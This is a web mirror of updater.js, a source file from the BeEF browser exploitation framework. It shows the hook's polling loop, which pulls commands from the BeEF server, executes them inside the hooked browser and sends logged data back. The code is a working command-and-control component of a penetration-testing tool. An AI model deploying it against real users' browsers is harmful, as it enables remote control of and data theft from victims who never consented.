Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/updater.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Object in charge of getting new commands from the BeEF framework and execute them.
9
* The XHR-polling channel is managed here. If WebSockets are enabled,
10
* websocket.js is used instead.
11
* @namespace beef.updater
12
*/
13
beef.updater = {
14
15
/** XHR-polling timeout. */
16
xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
17
18
/** Hook session name. */
19
beefhook: "<%= @hook_session_name %>",
20
21
/** A lock. */
22
lock: false,
23
24
/** An object containing all values to be registered and sent by the updater. */
25
objects: new Object(),
26
27
/**
28
* Registers an object to always send when requesting new commands to the framework.
29
* @param {String} key the name of the object.
30
* @param {String} value the value of that object.
31
*
32
* @example beef.updater.regObject('java_enabled', 'true');
33
*/
34
regObject: function(key, value) {
35
this.objects[key] = escape(value);
36
},
37
38
// Checks for new commands from the framework and runs them.
39
check: function() {
40
if(this.lock == false) {
41
if (beef.logger.running) {
42
beef.logger.queue();
43
}
44
beef.net.flush();
45
if(beef.commands.length > 0) {
46
this.execute_commands();
47
}else {
48
this.get_commands(); /*Polling*/
49
}
50
}
51
/* The following gives a stupid syntax error in IE, which can be ignored*/
52
setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
53
},
54
55
/**
56
* Gets new commands from the framework.
57
*/
58
get_commands: function() {
59
try {
60
this.lock = true;
61
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
62
if (response.body != null && response.body.length > 0)
63
beef.updater.execute_commands();
64
});
65
} catch(e) {
66
this.lock = false;
67
return;
68
}
69
this.lock = false;
70
},
71
72
/**
73
* Executes the received commands, if any.
74
*/
75
execute_commands: function() {
76
if(beef.commands.length == 0) return;
77
this.lock = true;
78
while(beef.commands.length > 0) {
79
command = beef.commands.pop();
80
try {
81
command();
82
} catch(e) {
83
beef.debug('execute_commands - command failed to execute: ' + e.message);
84
// prints the command source to be executed, to better trace errors
85
// beef.client_debug must be enabled in the main config
86
beef.debug(command.toString());
87
}
88
}
89
this.lock = false;
90
}
91
};
92
93
beef.regCmp('beef.updater');
94
95